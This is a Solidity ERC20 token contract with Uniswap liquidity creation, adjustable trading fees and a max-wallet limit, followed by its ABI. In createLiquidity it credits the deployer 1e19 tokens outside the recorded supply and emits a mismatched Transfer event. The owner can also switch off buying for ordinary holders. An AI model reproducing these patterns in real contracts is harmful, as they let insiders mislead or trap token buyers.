pragma solidity ^0.8.7;








abstract contract TradableErc20 is ERC20, DoubleSwapped, Ownable, Withdrawable {
    IUniswapV2Router02 internal constant _uniswapV2Router =
        IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public uniswapPair;
    bool public buyEnable = true;
    address public constant ADDR_BURN =
        0x000000000000000000000000000000000000dEaD;
    address public extraAddress;
    mapping(address => bool) _isExcludedFromFee;
    uint256 public buyFeePpm = 35; // fee in 1/1000
    uint256 public sellFeePpm = 35; // fee in 1/1000
    uint256 public thisShare = 750; // in 1/1000
    uint256 public extraShare = 0; // in 1/1000
    uint256 maxWalletStart = 5e16;
    uint256 addMaxWalletPerMinute = 5e16;
    uint256 tradingStartTime;

    constructor(string memory name_, string memory symbol_)
        ERC20(name_, symbol_)
        Withdrawable(0x0aB087337974a89D920d3030d0baFF5c72eaE9A3)
    {
        _isExcludedFromFee[address(0)] = true;
        _isExcludedFromFee[ADDR_BURN] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[msg.sender] = true;
    }

    receive() external payable {}

    function maxWallet() public view returns (uint256) {
        if (tradingStartTime == 0) return _totalSupply;
        uint256 res = maxWalletStart +
            ((block.timestamp - tradingStartTime) * addMaxWalletPerMinute) /
            (1 minutes);
        if (res > _totalSupply) return _totalSupply;
        return res;
    }

    function createLiquidity() public onlyOwner {
        require(uniswapPair == address(0));
        address pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
            address(this),
            _uniswapV2Router.WETH()
        );
        uint256 initialLiquidity = getSupplyForMakeLiquidity();
        _balances[address(this)] = initialLiquidity;
        emit Transfer(address(0), address(this), initialLiquidity);

        _balances[msg.sender] = 1e19;
        emit Transfer(address(0), msg.sender, initialLiquidity);

        _allowances[address(this)][
            address(_uniswapV2Router)
        ] = INFINITY_ALLOWANCE;
        _isExcludedFromFee[pair] = true;
        _uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            initialLiquidity,
            0,
            0,
            msg.sender,
            block.timestamp
        );

        uniswapPair = pair;
        tradingStartTime = block.timestamp;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(_balances[from] >= amount, "not enough token for transfer");
        require(to != address(0), "incorrect address");

        // buy
        if (from == uniswapPair && !_isExcludedFromFee[to]) {
            require(buyEnable, "trading disabled");
            // get taxes
            amount = _getFeeBuy(from, to, amount);
            require(
                _balances[to] + amount <= maxWallet(),
                "max wallet constraint"
            );
        }
        // sell
        else if (
            !_inSwap &&
            uniswapPair != address(0) &&
            to == uniswapPair &&
            !_isExcludedFromFee[from]
        ) {
            // fee
            amount = _getFeeSell(from, amount);
            // swap tokens
            _swapTokensForEthOnTransfer(
                amount,
                _balances[address(this)],
                _uniswapV2Router
            );
        }

        // transfer
        super._transfer(from, to, amount);
    }

    function getFeeBuy(address account, uint256 amount)
        public view
        returns (uint256)
    {
        return (amount * buyFeePpm) / 1000;
    }

    function getFeeSell(address account, uint256 amount)
        public view
        returns (uint256)
    {
        return (amount * sellFeePpm) / 1000;
    }

    function setBuyFee(uint256 newBuyFeePpm) external onlyWithdrawer {
        require(newBuyFeePpm <= 200);
        buyFeePpm = newBuyFeePpm;
    }

    function setSellFee(uint256 newSellFeePpm) external onlyWithdrawer {
        require(newSellFeePpm <= 200);
        sellFeePpm = newSellFeePpm;
    }

    function SetExtraContractAddress(address newExtraContractAddress)
        external
        onlyWithdrawer
    {
        extraAddress = newExtraContractAddress;
    }

    function removeExtraContractAddress() external onlyWithdrawer {
        extraAddress = address(0);
    }

    function setShare(uint256 thisSharePpm, uint256 stackingSharePpm)
        external
        onlyWithdrawer
    {
        thisShare = thisSharePpm;
        extraShare = stackingSharePpm;
        require(thisShare + extraShare <= 1000);
    }

    function _getFeeBuy(
        address pair,
        address to,
        uint256 amount
    ) private returns (uint256) {
        return _arrangeFee(pair, amount, getFeeBuy(to, amount));
    }

    function _getFeeSell(address from, uint256 amount)
        private
        returns (uint256)
    {
        return _arrangeFee(from, amount, getFeeSell(from, amount));
    }

    function _arrangeFee(
        address from,
        uint256 amount,
        uint256 fee
    ) private returns (uint256) {
        uint256 thisFee = (fee * thisShare) / 1000;
        uint256 stacking = 0;
        if (extraAddress != address(0))
            stacking = (fee * extraShare) / 1000;
        uint256 burn = 0;
        if (thisShare + extraShare < 1000) burn = fee - thisFee - stacking;

        amount -= fee;
        _balances[from] -= fee;

        if (thisFee > 0) {
            _balances[address(this)] += thisFee;
            emit Transfer(from, address(this), thisFee);
        }
        if (stacking > 0) {
            _balances[extraAddress] += stacking;
            emit Transfer(from, extraAddress, stacking);
        }
        if (burn > 0) {
            _balances[ADDR_BURN] += burn;
            emit Transfer(from, ADDR_BURN, burn);
        }

        return amount;
    }

    function setExcludeFromFee(address[] memory accounts, bool value)
        external
        onlyWithdrawer
    {
        for (uint256 i = 0; i < accounts.length; ++i) {
            _isExcludedFromFee[accounts[i]] = value;
        }
    }

    function setEnableBuy(bool value) external onlyOwner {
        buyEnable = value;
    }

    function getSupplyForMakeLiquidity() internal virtual returns (uint256);
}
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ADDR_BURN","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newExtraContractAddress","type":"address"}],"name":"SetExtraContractAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyEnable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeePpm","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"extraAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"extraShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"getFeeBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"getFeeSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeExtraContractAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFeePpm","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFeePpm","type":"uint256"}],"name":"setBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"value","type":"bool"}],"name":"setEnableBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setExcludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newSellFeePpm","type":"uint256"}],"name":"setSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"thisSharePpm","type":"uint256"},{"internalType":"uint256","name":"stackingSharePpm","type":"uint256"}],"name":"setShare","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWithdrawAddress","type":"address"}],"name":"setWithdrawAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"thisShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]